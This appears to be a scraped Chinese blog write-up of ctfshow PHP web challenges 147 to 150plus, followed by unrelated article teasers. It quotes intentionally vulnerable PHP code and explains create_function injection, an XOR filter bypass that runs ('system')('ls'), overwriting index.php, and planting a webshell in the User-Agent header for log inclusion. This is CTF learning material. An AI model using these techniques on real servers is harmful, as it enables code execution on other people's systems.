回到题中 匹配a-z0-9_开头结尾的任意多的字符 在php中 函数以及类都在这个\命名空间里面 

例如正常些 echo可以  \echo也是可以的

然后正常函数一般没有两个参数 使用create_function这个构建匿名函数的函数 第一个参数为函数的参数 第二个参数为函数的函数体

比如

根据这道题第一个参数为空 也就代表无参也不报错 使用}封闭if语句传入phpinfo;/*使用注释注释后面的

这个时候我就有点蒙了 我这样可以 那为什么

我直接传?\phpinfo();}/* 就不能执行phpinfo 我记得之前练习的时候通过get直接传了phpinfo();可以呀 而且在上面我说了'phpinfo'() 可以 'phpinfo()' 不可以 为什么get传过来的phpinfo();字符串可以呢 因为前面有个eval!!!!

‘然后呢看到这题解我又蒙了 这没eval也照样能执行phpinfo();呀

总结 

直接GET传过来的phpinfo();不行 需要加上eval

本地直接'phpinfo();'也不行 php不让

这题这种可以执行 唯一的解释就是 比如传参为phpinfo(); 到服务器就变成了'phpinfo();'

然后}把'包进去了  后面注释把‘注释了 就变成了phpinfo();

记住上面的四行即可 还有一点就是eval必须在服务器上 直接传是不行的

终于理解为什么之前说的双层eval 服务器本身还有一个

这个时候我觉得都解释通了 但是 这为什么不行呢 很炸裂 这里我有一种解释不知道对不对 就是之所以get中的那种可以 是因为在服务器上那是直接接收的get 而这个post已经被操作好多次了 只能这么解释了哈哈

还有一种解释 就是用到了create_function()代码注入 第二个参数被认定为可以执行的方法 而第一个参数就是字符串 哈哈哈这么解释应该是更对的  基本就是这个解释了 研究了一个多小时了 真的很感慨 现在是2024/3/2晚上九点 马上回寝室了 结果弄出来了 每次都是

create_function('',$GET[1]) 等同于

function niming($funcname){

$GET[1]; 按理说这个接收过来的是字符串 但是因为create_function函数原因 会将字符串转换为方法也就是可执行的

}

web148

<?php

include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");
}

唯一一点就是

eval("return $v1$v3$v2;");变为了

 eval($code); 一个意思 

第一个就是eval可以使return执行 从而进行了位运算以及位运算结果的函数执行

第二个直接就是进行位运算然后结果的函数执行 少了一个return

取反取消了使用异或即可构造出

('system')('ls');或者构造get_ctfshow_fl0g();也可以

或者

五点半

web149

<?php
error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

该目录下只能存在index.php合格文件否则会删除  然后写数据到一个文件里 然后继续删除

那就把数据写到index文件中即可

再访问一次 他就提醒需要传入参数 这就代表成功了

伪协议也行一个意思

为什么用伪协议写进去的 是base64编码形式的数据也行呢? 因为过滤器以加密方式打开 写进去后 他也会以解密形式重新写入

web150

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE){
    include($ctf);
}

这道题其实代码有很多但是这题使用非预期的方式 

先在u-a中传入木马

isVIP为true ctf为日志路径 

1为执行的命令

web150plus

修复了非预期

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;
    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }
    function __destruct(){
        echo $this->secret;
    }
    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }
    function __autoload($class){
        if(isset($class)){
            $class();
    }
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
    include($ctf);
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/873038.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

基于大数据的科研热点分析与挖掘系统

温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长 QQ 名片 :) 1. 项目简介 科研活动的快速发展产生了大量的学术文献&#xff0c;如何从这些文献中提炼出有价值的科研热点和趋势成为了一个重要的问题。本项目旨在开发一个基于大数据的科研热点分析可视化系统&#xff0c;采…

Differential Diffusion,赋予每个像素它应有的力量,以及在comfyui中的测试效果

&#x1f97d;原论文要点 首先是原论文地址&#xff1a;https://differential-diffusion.github.io/paper.pdf 其次是git介绍地址&#xff1a;GitHub - exx8/differential-diffusion 感兴趣的朋友们可以自行阅读。 首先&#xff0c;论文开篇就给了一个例子&#xff1a; 我们的方…

Redis 事务:支持回滚吗?深入解析

今天我们要来探讨一个关于 Redis 事务的重要问题&#xff1a;Redis 事务支持回滚吗&#xff1f;这个问题在 Redis 的使用中经常被提及&#xff0c;对于正确理解和使用 Redis 事务至关重要。那么&#xff0c;让我们一起深入解析这个问题吧&#xff01; 一、Redis 事务简介 在了…

tabBar设置底部菜单选项以及iconfont图标

tabBartabBar属性:设置底部 tab 的表现 ​ ​ ​ ​ 首先在pages.json页面写一个tabBar对象,里面放入list对象数组,里面至少要有2个、最多5个 tab, 如果只有一个tab的话,H5(浏览器)依然可以显示底部有一个导航栏,如果没有,需要重启后才有,小程序则报错,只有2个以上才可以…

IDEA加载工程报错Error Loading Project: Cannot load module demo.iml解决

spring boot工程由于工程名字为demo不太好&#xff0c;直接更改了这个工程的名字&#xff0c;主要操作了包括重命名项目文件夹、修改IDEA中的项目名称、模块名称、包名称、以及相关的配置文件等。 然后再打开工程&#xff0c;报错Error Loading Project: Cannot load module de…

瑜伽馆预约系统小程序搭建,全民健身下的市场机遇

随着现代生活水平的提高&#xff0c;人们对健康的要求逐渐提高&#xff0c;瑜伽作为一种修身养性的健身方式&#xff0c;深受大众欢迎。在互联网小程序的普及下&#xff0c;瑜伽馆预约小程序也成为了市场的必然发展趋势&#xff01; 为什么要开发瑜伽馆预约系统&#xff1f; 瑜…

今天又学到了——图编号关联章节号,QGIS下载文件存储的瓦片

记录教程来源&#xff1a;​​​​​​【Word图编号关联章节号】图片分章节 编号&#xff0c;图1-1、图2-1_哔哩哔哩_bilibili 上面链接这个实现的是这个效果&#xff1a; word自动目录及章节自动编号教程_哔哩哔哩_bilibili&#xff0c;这个的效果是自己设计多级列表&#xf…

Redis高级-----持久化AOF、RDB原理

目前已更新系列&#xff1a; 当前&#xff1a;Redis高级-----持久化AOF、RDB原理 Redis高级---面试总结5种数据结构的底层实现 Redis高级----主从、哨兵、分片、脑裂原理-CSDN博客 Redis高级---面试总结内存过期策略及其淘汰策略 计算机网络--面试知识总结一 计算机网络-…

《JavaEE进阶》----11.<SpringIOCDI【Spring容器+IOC详解+DI介绍】>

本篇博客会详细讲解什么是Spring。 SpringIOC SpringID 五个类注解&#xff1a;Controller、Service、Repository、Component、Configuration 一个方法注解&#xff1a;Bean 什么是Spring IOC容器 Spring 是包含众多工具的IOC容器。能装东西的容器。 1.容器 如我们之前学的 Tom…

JavaFX基本控件-TextField

JavaFX基本控件-TextField 常用属性textpromptTextpaddingalignmentwidthheighttooltipbordereditabledisablevisible 格式化整形格式化 实现方式Java实现fxml实现 常用属性 text 设置文本内容 textField.setText("测试数据");promptText 设置文本字段的提示文本&am…

Ollama—87.4k star 的开源大模型服务框架!!

这一年来&#xff0c;AI 发展的越来越快&#xff0c;大模型使用的门槛也越来越低&#xff0c;每个人都可以在自己的本地运行大模型。今天再给大家介绍一个最厉害的开源大模型服务框架——ollama。 项目介绍 Ollama 是一个开源的大语言模型&#xff08;LLM&#xff09;服务工具…

替换Windows AD时,网络准入场景如何迁移对接国产身份域管?

Windows AD是迄今为止身份管理和访问控制领域的最佳实践&#xff0c;全球约90%的中大型企业采用AD作为底层数字身份基础设施&#xff0c;管理组织、用户、应用、网络、终端等IT资源。但随着信创建设在党政机关、金融、央国企、电力等各行各业铺开&#xff0c;对Windows AD域的替…

swagger简单使用学习

注意 一下基于spring-boot 3.0.2版本&#xff0c;该版本不支持springfox-swagger2 2.9.2会报错&#xff0c;无法访问swagger 安装 在pomx文件中添加对应的依赖 <!-- swagger --><dependency><groupId>org.springdoc</groupId><artifactId>spr…

Superset二次开发之Select 筛选器源码分析

路径&#xff1a;superset-frontend/src/filters/components/Select 源码文件&#xff1a; 功能点&#xff1a; 作用 交互 功能 index.ts作为模块的入口点,导出其他文件中定义的主要组件和函数。它使其他文件中的导出可以被外部模块使用。 SelectFilterPlugin.tsx 定义主要…

PostgreSQL的repmgr工具介绍

PostgreSQL的repmgr工具介绍 repmgr&#xff08;Replication Manager&#xff09;是一个专为 PostgreSQL 设计的开源工具&#xff0c;用于管理和监控 PostgreSQL 的流复制及实现高可用性。它提供了一组工具和实用程序&#xff0c;简化了 PostgreSQL 复制集群的配置、维护和故障…

python的sqlalchemy使用@contextmanager来定义上下文管理器

Python通过函数名调用函数的几种场景 华为或超聚变服务器安装linux 你知道":“和”//"在python里面代表什么吗&#xff1f;这篇《python运算符》介绍&#xff0c;你肯定不想错过 SQLAlchemy通过contextmanager简化回滚操作 如何理解python的sqlalchemy这种orm框架&am…

大数据采集与分析实训室解决方案

随着信息技术的飞速发展&#xff0c;大数据已成为推动产业升级、社会进步的重要力量。为了培养适应未来社会需求的大数据专业人才&#xff0c;构建一套科学、先进的大数据采集与分析实训室解决方案显得尤为重要。为此&#xff0c;唯众特推出全面升级的大数据采集与分析实训室解…

Java项目——苍穹外卖(一)

Entity、DTO、VO Entity&#xff08;实体&#xff09; Entity 是表示数据库表的对象&#xff0c;通常对应数据库中的一行数据。它通常包含与数据库表对应的字段&#xff0c;并可能包含一些业务逻辑。 DTO&#xff08;数据传输对象&#xff09; 作用&#xff1a;DTO 是用于在…

Leetcode Hot 100刷题记录 -Day10(合并区间)

合并区间 问题描述&#xff1a; 以数组 intervals 表示若干个区间的集合&#xff0c;其中单个区间为 intervals[i] [starti,endi] 。请你合并所有重叠的区间&#xff0c;并返回 一个不重叠的区间数组&#xff0c;该数组需恰好覆盖输入中的所有区间 。 示例 1&#xff1a; 输入&…

Netty系列-3 ChannelFuture和ChannelPromise介绍

背景 Netty源码中大量使用了Future和Promise&#xff0c;学习ChannelFuture和ChannelFuture有助于理解Netty的设计思路。 本文的重点内容在于梳理清楚这些类的关系以及结合源码实现介绍这些类的作用&#xff0c;其中核心逻辑在于DefaultPromise和DefaultChannelPromise&#x…